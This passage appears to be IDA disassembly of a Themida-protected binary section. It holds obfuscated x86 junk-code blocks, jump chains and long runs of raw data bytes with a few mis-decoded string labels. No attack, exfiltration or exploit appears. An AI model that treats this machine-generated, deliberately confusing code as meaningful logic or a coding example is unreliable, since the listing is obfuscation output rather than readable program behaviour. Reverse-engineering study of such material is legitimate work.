		dd 0D624CA0Ch, 6ECCE9h,	24048700h, 2E45E95Ch, 0C3800000h
		dd 0F88E94Fh, 5B0000h, 53E95AD3h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547B1B:				; CODE XREF: Themida_:0054BF79j
		pop	eax
		shr	ebx, 5
		push	ecx
		mov	ecx, 8781BB2h
		neg	ecx
		xor	ecx, 0D2E44C9h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	15A2h
		jmp	loc_548393
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 7D61E900h, 0DA290000h, 82B3E95Bh, 0EF890000h
		dd 0E9F8315Dh, 2CAh, 689AE95Fh,	0C1810000h, 77B93EE2h
		dd 0E981D901h, 77B93EE2h, 2C1815Bh, 87000000h, 685C240Ch
		dd 6635h, 81241C89h, 4ECh, 24048900h, 0FFCA51E9h, 74FF51FFh
		dd 0C8B0424h, 4C48124h,	8F000000h, 0F5C2404h, 7D68C8B6h
		dd 89000049h, 0CBE9240Ch
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547BBF:				; CODE XREF: Themida_:0054907Cj
		pop	ecx
		sub	edi, 145D5390h
		jmp	loc_549E5D
; ---------------------------------------------------------------------------
		db 81h
		dd 7B5818F3h, 5BDD09E2h, 35E6E581h, 0DDF77128h,	0D1B9ED81h
		dd 0EB29462Bh, 0E9008F5Dh, 80ECh
; ---------------------------------------------------------------------------


loc_547BEC:				; CODE XREF: Themida_:0054D615j
		neg	eax
		or	eax, 72473CC5h
		jmp	loc_54DD6E
; ---------------------------------------------------------------------------
		dd 10E5E95Dh, 0FE880000h, 0E95AF488h, 83C6h, 0E92434FFh
		dd 858Ch, 875EF229h, 76E92414h,	1000017h, 219E68C6h, 4890000h
		dd 43E0B824h, 0FF5029A8h, 5158240Ch, 0FFFFFFB9h, 59C801FFh
		dd 78E968h, 242C8900h, 0EF4E5BBDh, 29532D73h, 0E8296FE9h
		dd 0E9295305h, 0C9E95D6Fh
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547C57:				; CODE XREF: Themida_:00544970j
		pop	esi
		push	eax
		push	esi
		push	2EF73561h
		pop	esi
		neg	esi
		xor	esi, 0D108CA9Bh
		mov	eax, esi
		pop	esi
		jmp	loc_548114
; ---------------------------------------------------------------------------
		dd 0E95AD029h, 3D2h, 24048B66h,	0FFD96BE9h, 0C8966FFh
		dd 0E93DB524h, 864Ch, 0CFBEE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547C92:				; CODE XREF: Themida_:0054868Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		jmp	loc_54AC6D
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 43359C8h, 24043124h,	0FFCA78E9h, 0A2EA81FFh,	1161208h
		dd 0C3835AD3h, 241C3304h, 33241C31h, 248B241Ch,	2434FF24h
		dd 0E1895158h, 674668h,	242C8900h, 4BDh, 0A5C18100h, 0E9454B2Fh
		dd 74EEh, 4904F800h, 0B3B5515Bh, 2C59E828h, 4EC83ACh, 0E9241C89h
		dd 58F6h, 4C481h, 0C3810000h, 4, 0FFF19AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547D11:				; CODE XREF: Themida_:0054BA54j
		pop	edx
		not	ebp
		sub	ebp, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5475FB
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
aSvv		db '\И╒v',0
		align 2
aXsx		db '╤∙Иx',0Ah,0
		db 0
; ---------------------------------------------------------------------------


loc_547D35:				; CODE XREF: Themida_:00545838j
		push	eax
		mov	eax, 2919526Ah
		jmp	loc_54F427
; ---------------------------------------------------------------------------


loc_547D40:				; CODE XREF: Themida_:00549990j
		push	ecx
		mov	ecx, 70F22814h
		mov	ebx, 52AE16FEh
		jmp	loc_54F3D9
; ---------------------------------------------------------------------------
		dd 0DCBA52ADh, 42354F03h, 0A9BD5542h, 0C1570348h, 0F58105E5h
		dd 49690751h, 0E5C1D5F7h, 7DC58104h, 29BD1D3Eh,	0F2815DEAh
		dd 379D9C9Eh, 2D525F05h, 6331E951h, 34FF0000h, 0E9555D24h
		dd 7A76h, 0CDBA52h, 0BB532232h,	4BD5413h, 3114E9h
		db 0
; ---------------------------------------------------------------------------


loc_547DA1:				; CODE XREF: Themida_:0054E080j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_54D938
; ---------------------------------------------------------------------------


loc_547DB6:				; CODE XREF: Themida_:00544A65j
		mov	bh, ch
		mov	al, bh
		jmp	loc_5494C2
; ---------------------------------------------------------------------------
		db 66h
		dd 66241C31h, 66241C33h, 66241C31h, 6612C368h, 66241C89h
		dd 66243487h, 8766D6F7h, 8B662434h, 0C768241Ch,	0E9000042h
		dd 147Dh, 770DC2BAh, 5E2C135h, 7B22C281h, 4E95FE4h, 53FFFFEAh
		dd 0B44CDABBh, 29EB817Ch, 292ADF53h, 0F8015BDFh, 83243C8Bh
		dd 0C30104C4h, 582434FFh, 8104C483h, 1B28B5EBh,	81C32962h
		dd 1B28B5C3h, 29A6E962h, 34FF0000h, 89535F24h, 4B850E3h
		dd 1000000h, 0C38358C3h, 0CAA3E904h, 8966FFFFh,	0C7E92404h
		dd 68000057h, 7761h, 0FFE283E9h, 0E95266FFh, 6837h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edi, 3EFC34ADh
		sub	edi, 7D0830E0h
		sub	edi, esi
		jmp	loc_54BCE1
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC6FEh, 0C581D5F7h, 56400207h, 0CAE9EF01h, 5EFFFFEFh
		dd 5C24048Fh, 3108E8C1h, 721068C8h, 2AE90000h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547EAF:				; CODE XREF: Themida_:005452DFj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54A2CF
; ---------------------------------------------------------------------------
		dd 7D92E281h, 0DAF74B0Eh, 0F705E2C1h, 0EA81D2h,	0E9A4E685h
		dd 293h
; ---------------------------------------------------------------------------


loc_547ED8:				; CODE XREF: Themida_:0054566Ej
		xor	ebp, edi
		jmp	loc_550663
; ---------------------------------------------------------------------------
aXsa		db 'XИA"',0
		dd 0C8B6600h, 23306824h, 34890000h, 0C5E95424h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547EF7:				; CODE XREF: Themida_:0054D55Cj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	6A08h
		mov	[esp], eax
		mov	eax, 0EBE7E38h
		mov	[edx+38h], eax
		mov	eax, [esp]
		add	esp, 4
		sub	[edx+38h], ecx
		jmp	loc_545E3A
; ---------------------------------------------------------------------------
		dw 8966h
		dd 5FE92404h, 29FFFFC6h, 0C335DE9h, 240C3124h, 5C240C33h
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFC642h, 0C581E589h
		dd 4, 797CE9h, 0F0B05000h, 53E2B450h, 0C7E9E788h, 0FFFFFFEEh
		dd 0FF042474h, 575E2434h, 0FFE9F1E9h, 0C614E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547F76:				; CODE XREF: Themida_:0054F1A8j
		add	ebp, 4
		add	ebp, 2
		jmp	loc_54E366
; ---------------------------------------------------------------------------
		db 0F7h
		dd 3E8C1D8h, 504F35h, 58C1011Eh, 0DA97E951h, 0C481FFFFh
		dd 4, 3304C283h, 14312414h, 24143324h, 0FFD828E9h, 1AC381FFh
		dd 890C403Ch, 0F6815BDEh, 60ADEFDh, 3DB7E9h, 20685500h
		dd 8900001Eh, 4812424h,	424h, 242C8B00h, 4C481h, 0E9500000h
		dd 0FFFFF4A1h
; ---------------------------------------------------------------------------


loc_547FE4:				; CODE XREF: Themida_:0054ECF1j
		xor	edi, 681394D1h
		jmp	loc_5481B7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC81241Ch, 4, 89240489h, 405E0h, 4050000h, 87000000h
		dd 3EE92404h, 28000015h, 44D9E9F8h, 585B0000h, 0F6CAFE5Bh
		dd 6D52E9D2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548022:				; CODE XREF: Themida_:0054D5E1j
		push	edi
		jmp	loc_54F716
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 59DCBF24h, 0CAE9221Ch, 5A000039h
		dd 31243433h, 34332434h, 344FE924h, 0EC680000h,	89000073h
		dd 44E9243Ch
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548057:				; CODE XREF: Themida_:005483B7j
		mov	ecx, 65FE0AC2h
		add	ecx, 0FFFFFFFFh
		jmp	loc_5467EC
; ---------------------------------------------------------------------------
		dd 0D2F7D787h, 5250D787h, 0E96353BAh, 564FE945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548076:				; CODE XREF: Themida_:0054FE78j
		mov	eax, [esp]
		push	eax
		jmp	loc_547207
; ---------------------------------------------------------------------------
		db 0BEh
		dd 28AE779Ah, 4244481h,	6CD146D5h, 5234B951h, 4C297AB0h
		dd 0E9590824h, 0FFFFE3C0h
; ---------------------------------------------------------------------------


loc_54809C:				; CODE XREF: Themida_:0054A750j
		xor	ebx, ecx
		pop	ecx
		jmp	loc_5454B9
; ---------------------------------------------------------------------------


loc_5480A4:				; CODE XREF: Themida_:0054C8C3j
		sub	eax, ecx
		pop	ecx
		mov	ebx, eax
		pop	eax
		push	edx
		mov	edx, 25E47A85h
		sub	edx, 1E08146Bh
		add	edx, 0FCE6B038h
		jmp	loc_5496D1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 6F86824h, 1C890000h,	59E95424h, 87000055h, 248B2404h
		dd 0BB0F6624h, 0E99C2404h, 0FFFFC4A6h, 0B9240C89h, 589854DFh
		dd 5D59C801h, 31240433h, 4332404h, 24248B24h, 4BB0F66h
		dd 83E99C24h, 50FFFFC4h, 4055854h, 0E9000000h, 74E2h
; ---------------------------------------------------------------------------


loc_548114:				; CODE XREF: Themida_:00547C6Bj
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_55063E
; ---------------------------------------------------------------------------


loc_54811E:				; CODE XREF: Themida_:0054E413j
		or	edi, 147F7102h
		add	edi, 72B215ACh
		sub	edi, 6CA24423h
		jmp	loc_54E029
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 38h
		dd 0E9000000h, 10B1h, 56241C89h, 9E1AFFBEh, 2474317Ch
		dd 24348B04h, 81E78957h, 4C7h, 4C78100h, 87000000h, 8B5C243Ch
		dd 79E92404h, 89FFFFF9h, 0D8315AD3h, 5E98685Bh,	34890000h
		dd 3677E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54817E:				; CODE XREF: Themida_:0054D512j
		sub	al, bh
		pop	ebx
		add	al, 0EEh
		add	al, bl
		sub	al, 0EEh
		jmp	loc_54BDAB
; ---------------------------------------------------------------------------
		dd 405h, 4BF5700h, 0E9000000h, 0FFFFD1CDh, 4C5815Dh, 83000000h
		dd 0D76804EDh, 89000066h, 74FF242Ch, 7BE90424h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5481B7:				; CODE XREF: Themida_:00547FEAj
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 7AF55674h
		or	ecx, 39503F96h
		not	ecx
		inc	ecx
		jmp	loc_54583D
; ---------------------------------------------------------------------------
		db 80h
		dd 0EA8001EAh, 0E9362CB5h, 6958h, 68241489h, 642h, 50242C89h
		dd 0FFED49E9h, 2C77FFFFh, 0FFC391E9h, 24348BFFh, 3790E9h
		dd 0E9D7F700h, 0FFFFCA08h
; ---------------------------------------------------------------------------


loc_548208:				; CODE XREF: Themida_:0054788Fj
		add	dword ptr [esp], 6FEE74B5h
		mov	ebp, [esp]
		add	esp, 4
		push	12DCh
		mov	[esp], esi
		mov	esi, 6FEE74B5h
		sub	ebp, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebp
		mov	ebp, 6EB7721Ah
		jmp	loc_548BC0
; ---------------------------------------------------------------------------


loc_548251:				; CODE XREF: Themida_:0054D505j
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		push	edi
		mov	edi, 79095E5Bh
		sub	esi, edi
		pop	edi
		add	esi, eax
		add	esi, 79095E5Bh
		pop	eax
		add	esi, 4
		push	754Dh
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54ACB9
; ---------------------------------------------------------------------------


loc_548291:				; CODE XREF: Themida_:0054FC02j
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	413Ch
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 2BC85872h
		not	ebp
		push	edx
		jmp	loc_54768F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F7662424h, 0E38953F9h, 5353BA52h, 0F8E948F7h, 5BFFFFF5h
		dd 0D8005A66h, 8904EC83h, 55B7241Ch, 0F828382Ch, 515B3804h
		dd 0C8282AB1h, 7529E9h
		db 0
; ---------------------------------------------------------------------------


loc_5482FD:				; CODE XREF: Themida_:0054E50Bj
		sub	eax, 5BF91F1Ch
		xor	eax, 0F114BCEDh
		jmp	loc_54BF77
; ---------------------------------------------------------------------------
		dd 4C481h, 0B4500000h, 6C49E9BFh, 0F7010000h, 0E92434FFh
		dd 0FFFFD58Fh
; ---------------------------------------------------------------------------


loc_548324:				; CODE XREF: Themida_:0054E38Dj
		xchg	eax, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_54458A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC812404h, 4, 0E9240489h, 0FFFFEBC0h, 0E947D7F7h, 0FFFFFAB3h
		dd 0E9535954h, 7E06h, 0BB241C89h, 3Ch, 255CBA52h, 0D301115Ah
		dd 0E924148Bh, 0FFFFDE81h, 240C8B66h, 51E08950h, 63DDE9h
		dd 8BD70100h, 0C4832414h, 6EC78104h, 12D39E4h, 0E224E9FEh
		dd 0F7E9FFFFh
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548393:				; CODE XREF: Themida_:00547B43j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_548057
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 48B2434h, 6080E924h, 0E9590000h,	0FFFFC943h
		dd 0BF57595Bh, 74844959h, 5602C781h, 685368AEh,	4E3C4040h
		dd 3389E9h
		db 0
; ---------------------------------------------------------------------------


loc_5483E9:				; CODE XREF: Themida_:00544A46j
		add	esi, eax
		jmp	loc_550555
; ---------------------------------------------------------------------------


loc_5483F0:				; CODE XREF: Themida_:0054AF03j
		add	edi, 2AC47220h
		sub	edi, ecx
		sub	edi, 2AC47220h
		jmp	loc_54EA63
; ---------------------------------------------------------------------------
		db 8Fh
		dd 545C2404h, 0E924048Fh, 5182h, 8B242C87h, 8B662424h
		dd 0C968240Ch, 0E9000020h, 0FFFFE654h, 0B54FF381h, 0DA89AC17h
		dd 0CBE95Bh, 0E2890000h, 4C281h, 0E9E90000h, 8700004Eh
		dd 525C2414h, 17191EBAh, 8BD72159h, 0C4832414h,	6BD5504h
		dd 52480700h, 9057A0BAh, 0CBF2812Eh, 0C14E4F54h, 554208EAh
		dd 292166BDh, 5DEA2906h, 4222EA81h, 0D729C7B5h,	8324148Bh
		dd 0EF2904C4h, 7B7CC781h, 71E93282h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54848B:				; CODE XREF: Themida_:0054F5D8j
		shr	edi, 2
		jmp	loc_5472C1
; ---------------------------------------------------------------------------
		db 81h
		dd 3D31F9CBh, 0BA524B69h, 1F1C4242h, 15CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5484A5:				; CODE XREF: Themida_:005447A2j
		add	ecx, 4
		jmp	loc_547311
; ---------------------------------------------------------------------------


loc_5484B0:				; CODE XREF: Themida_:00545E00j
		pop	eax
		push	ebp
		jmp	loc_54AE6B
; ---------------------------------------------------------------------------
		db 81h
		dd 2525CFEDh, 5DEF31ACh, 4F08E7C1h, 0CF87D7F7h,	0CF87D1F7h
		dd 63F5E9h, 0B0505800h,	58C1008Ah, 0F603E980h, 0F4E980D9h
		dd 3059CA88h, 24148BD0h, 3004C483h, 0C0B60FC3h,	0B176866h
		dd 24048966h, 0FFC08DE9h, 1C281FFh, 42000000h, 0FFEE2EE9h
		dd 242C89FFh, 2BDh, 5FE98100h, 11B5E10h, 5FC181E9h, 5D1B5E10h
		dd 31240C33h, 0C33240Ch, 727AE924h, 34890000h, 0C57BE924h
		dd 8B66FFFFh, 9D682404h, 0E900007Dh, 650h, 0FB89C781h
		dd 0FB297D11h, 8BD8295Fh, 5450241Ch, 51B1E958h,	0E9810000h
		dd 92E8A1E2h, 6859C801h, 3FF2h,	52241C89h, 1F72BDBAh, 0C2814A7Ah
		dd 34DD7046h, 3295E281h, 0C1E91C3Bh
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548583:				; CODE XREF: Themida_:00546B71j
		add	edi, ecx
		add	edi, 6A6D05D6h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 70596B11h
		add	edi, ecx
		pop	ecx
		jmp	loc_54CE8A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 68241C89h,	2A55h, 0F7EE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5485B6:				; CODE XREF: Themida_:00545208j
		push	ebx
		mov	ebx, 507D4FE2h
		add	ebx, 11D95965h
		not	ebx
		shr	ebx, 7
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		dec	ebx
		push	esi
		jmp	loc_55003D
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C781h, 0BD550000h, 4, 575DEF29h, 42474FFh, 24048F5Fh
		dd 734AE95Ch, 54510000h, 74DDE959h, 0F9BA0000h,	8921A436h
		dd 0C3215AD0h, 582434FFh, 4C481h, 0EB810000h, 4E135C8Bh
		dd 8103E3C1h, 79B19CC3h, 5BDF0167h, 5702C783h, 42474FFh
		dd 3CFCE95Fh, 875C0000h, 0FF5C241Ch, 50E92434h,	5D000016h
		dd 0EE81CE29h, 38A01835h, 24348759h, 29DAE9h, 2EADBB00h
		dd 43437D51h, 8107E3C1h, 92D711EBh, 5BDA0188h, 6853E9h
		dd 77E52D00h, 0BBE9008Dh
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54866F:				; CODE XREF: Themida_:0054BF37j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 344A16BFh
		xor	ebp, ebx
		pop	ebx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_546082
		push	dword ptr [edi+28h]
		jmp	loc_547C92
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 51000000h, 8904EC83h, 0DBA2414h, 811B1D60h, 0CA1F60CAh
		dd 0C1DAF731h, 0EAC103E2h, 0C2814A05h, 7101F8B5h, 0E95AD189h
		dd 71E6h
; ---------------------------------------------------------------------------


loc_5486C0:				; CODE XREF: Themida_:00544C89j
		add	esp, 4
		sub	edi, 5D1D3F30h
		jmp	loc_54EC58
; ---------------------------------------------------------------------------
		dw 0C0B1h
		dd 80EAC180h, 0C82075C1h, 165FE9h, 4C48100h, 81000000h
		dd 0DC1F01C3h, 0B5C38141h, 810C7048h, 0C764E2EBh, 0E9C3014Bh
		dd 6FC6h, 8124048Bh, 4C4h, 0D9F58100h, 17B7753h, 0FF575DEFh
		dd 0E9042474h, 1AD3h, 0FA17E950h, 8166FFFFh, 0E9576CF7h
		dd 0FFFFD2D4h
; ---------------------------------------------------------------------------


loc_548728:				; CODE XREF: Themida_:005457D4j
		mov	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	ebp
		push	ebx
		push	60BE0700h
		jmp	loc_54FEA9
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 8B240433h, 2BE92424h, 55FFFFBEh, 6DB5BB53h
		dd 0D3F75320h, 292FE381h, 0E3D11884h, 32F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_548775:				; CODE XREF: Themida_:0054754Ej
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_54F3B0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24048F00h, 0E9F1F65Ch,	7A7Dh
; ---------------------------------------------------------------------------


loc_548794:				; CODE XREF: Themida_:0054D85Aj
		add	ebp, 0FFFFFFFFh
		jmp	loc_54EB50
; ---------------------------------------------------------------------------
		db 5Ch
		dd 61BE6866h, 241C8966h, 5533E9h, 41C68000h, 0EE80C600h
		dd 0E4E95841h, 29000069h, 13C381CBh, 0E90F4D68h, 257Bh
		dd 1E0BBF57h, 0FBA3353h, 2933531Eh, 0D0015FFAh,	7B9AE9h
		dd 5029BF00h, 2DBD3D2Eh, 313D2E50h, 0EA015FFDh,	2414875Dh
		dd 0C124248Bh, 83E906E9h, 52FFFFCAh, 0C1CBB53h,	0F74316ACh
		dd 81DBF7D3h, 5322ADE3h, 1CF38173h, 0E93A0F23h,	493Dh
		dd 0EA814A42h, 22C514ACh, 3526C281h, 0D731025Ah, 8124148Bh
		dd 4C4h, 8BF80100h, 8DE9243Ch, 81000071h, 2A3A79F2h, 9BEA8140h
		dd 816C1A0Dh, 0E1483EF2h, 82F281FDh, 815E7603h,	0D36B17C2h
		dd 0C129E906h, 48FFFFFh, 0B8E95C24h, 81000046h,	9A3515EBh
		dd 81CB2978h, 9A3515C3h, 2213E978h, 0D5680000h,	8900006Bh
		dd 34FF242Ch, 0F655E924h, 0E95CFFFFh, 0FFFFBCFAh, 6678132Dh
		dd 5F8014Eh, 4E667813h,	1077E9h, 0E1C15800h, 14E98103h
		dd 53207CEh, 68142BCBh,	6C0EE9h, 806AB600h, 0F0289CEEh
		dd 4D9045Ah, 6ABFE9A6h,	8B660000h, 0D9E92404h, 100007Ch
		dd 348759CEh, 24248B24h, 9C240CD2h, 0FFBCA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5488E1:				; CODE XREF: Themida_:00548EF1j
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]


loc_5488FD:				; CODE XREF: Themida_:0054DEE5j
		push	ebx
		jmp	loc_545AA5
; ---------------------------------------------------------------------------
		db 57h
		dd 0BE565F54h, 17466C45h, 0C1FFEE83h, 836802EEh, 89000030h
		dd 33BF243Ch, 317B9400h, 31FE31F7h, 87D6F7F7h, 3FF781F7h
		dd 17E459Bh, 0F7015FFEh, 34BD555Eh, 45746467h, 0F3E9DDF7h
		dd 5A000056h, 241C8B59h, 81E78957h, 4C7h, 4C78300h, 8B243C87h
		dd 2BE92424h, 83FFFFBCh, 3C8904ECh, 81E78924h, 4C7h, 28E95000h
		dd 2C000072h, 4D000D6h,	2434FFD6h, 395FE95Ah, 0C4810000h
		dd 4, 475ACE81h, 0F6814576h, 0DF29C641h, 348BF589h, 28D2E924h
		dd 2C8B0000h, 4C48324h,	4E6168h, 24048900h, 0B858FBB8h
		dd 0E9C6014Fh, 2D61h, 735AC381h, 0EEE93949h, 5700004Eh
		dd 62BAD5BFh, 5FFE294Bh, 0DFE9F021h, 68000009h,	3FF0h
		dd 47C2E9h, 24048900h, 230709B8h, 2E8C17Eh, 0F703E8C1h
		dd 3A1905D0h, 92057F16h, 2D67AC7Ch, 0AE2A3B4Ah,	4803E0C1h
		dd 4EEFE9h, 2011BF00h, 0F901334Ah, 81D1015Fh, 4A2011E9h
		dd 0C875A33h, 6BE95C24h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548A1F:				; CODE XREF: Themida_:0054E3EFj
		mov	[esp], ebx
		mov	ebx, 7DA930C9h
		jmp	loc_54DDFE
; ---------------------------------------------------------------------------
		dd 405E089h, 0E9000000h, 0BD7h,	24048F66h, 0FFC5E6E9h
		dd 1C77FFFFh, 0D259669Dh, 0E99C2414h, 0FFFFBB3Ah
; ---------------------------------------------------------------------------


loc_548A50:				; CODE XREF: Themida_:0054519Fj
		or	esi, 491236A5h
		push	eax
		jmp	loc_545F49
; ---------------------------------------------------------------------------
		dd 4C481h, 0C7810000h, 4, 2C781h, 3C330000h, 243C3124h
		dd 5C243C33h, 2FB76866h, 0FFF200E9h, 0B2C581FFh, 81388F7Eh
		dd 946092C5h, 4CED811Dh, 178E736h, 0CEE1E9EAh, 0B60FFFFFh
		dd 148B66C0h, 0F661E924h, 34FFFFFFh, 2434FF24h,	4C48358h
		dd 360FE9h, 0DEBA5200h,	8166F452h, 1C2h, 0C9EA8100h, 0E9153107h
		dd 0FFFFF8ADh, 1FCF6851h, 34890000h, 39DBE24h, 0A1B96796h
		dd 81679603h, 404C0EC1h, 81F12973h, 404C0EE9h, 2434FF73h
		dd 4C4815Eh, 1000000h, 240C8BCFh, 4C481h, 0C7830000h, 4BD3E904h
		dd 0EFC00000h, 1BEF8005h, 0FFE1C5E9h, 0CBB850FFh, 506B65Bh
		dd 70B2F904h, 0E958C101h, 3B1Ah, 4EC81h, 34890000h, 627EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548B36:				; CODE XREF: Themida_:005450BBj
		push	eax
		push	45FC7D65h
		pop	eax
		jmp	loc_54EDFC
; ---------------------------------------------------------------------------
		dw 0BA66h
		dd 89660002h, 665A66D3h, 2244481h, 1663DB2h, 6602245Ch
		dd 2246C81h, 8B663DB2h,	0F2E9241Ch, 0B6FFFFD6h,	80CEFE8Eh
		dd 0C680EBEEh, 0EA54E901h, 4BDFFFFh, 29000000h,	242C8BEBh
		dd 4C481h, 1C870000h, 24248B24h, 0E9240489h, 0FFFFB9F6h
		dd 0E9242C89h, 4281h, 0E9240489h, 0FFFFB9E6h, 4C181h, 0EC830000h
		dd 243C8904h, 4BFh, 5FF90100h, 0E9240C87h, 0FA2h
; ---------------------------------------------------------------------------


loc_548BC0:				; CODE XREF: Themida_:0054824Cj
		push	ebx
		mov	ebx, 2AA26FE8h
		not	ebx
		or	ebx, 764B1B2Ah
		shl	ebx, 2
		inc	ebx
		push	esi
		mov	esi, 0A4C334BCh
		sub	ebx, esi
		push	dword ptr [esp]
		jmp	loc_54D853
; ---------------------------------------------------------------------------
		dw 483h
		dd 2C8B0424h, 4C48324h,	4C581h,	0BB530000h, 2, 21EFED81h
		dd 0DD017D43h, 21EFC581h, 1C8B7D43h, 4C48124h, 87000000h
		dd 248B242Ch, 242CD224h, 0B96CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548C1E:				; CODE XREF: Themida_:00544591j
		add	bl, 68h
		sub	bl, 36h
		push	ebx
		mov	bh, 0E7h
		add	bh, 5Fh
		add	bh, 0FCh
		push	eax
		mov	al, 0ACh
		shl	al, 1
		jmp	loc_54F440
; ---------------------------------------------------------------------------
		db 89h
		dd 5E542434h, 4C681h, 52680000h, 89000069h, 4B82404h, 0E9000000h
		dd 4BF2h, 1AF6815Ah, 89696C40h,	24348BF2h, 4C481h, 0A0E90000h
		dd 89000076h, 148B243Ch, 11086824h, 3C890000h, 52E78924h
		dd 7209E9h, 243C8900h, 19E9E9h,	243C3300h, 24048F5Ch, 702BE9h
		dd 66D02800h, 58C3085Ah, 8005E3C0h, 0E38004C3h,	0E26AE9FEh
		dd 40BAFFFFh, 810DA922h, 0F675A1F2h, 4EAC156h, 4B0FE9h
		db 0
; ---------------------------------------------------------------------------


loc_548CBD:				; CODE XREF: Themida_:00549F66j
		push	dx
		push	ecx
		jmp	loc_54B95C
; ---------------------------------------------------------------------------


loc_548CC5:				; CODE XREF: Themida_:0054C09Ej
		add	edi, 2B39D509h
		sub	ebp, edi
		jmp	loc_54AA5A
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFB8B2h, 6DEDBA52h, 24E92094h, 8900001Fh,	12E95AD3h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548CEB:				; CODE XREF: Themida_:0054B5EEj
		pop	ecx
		add	eax, 5FE239Eh
		push	edi
		mov	edi, 0EA5D405Fh
		xor	eax, edi
		pop	edi
		mov	[edx+30h], eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_54B27F
; ---------------------------------------------------------------------------
		dd 5C240487h, 0B60FC330h, 48F66C0h, 0B870E987h,	0EB30FFFFh
		dd 21EB8059h, 1C8BD930h, 6A346824h, 34890000h, 81E68924h
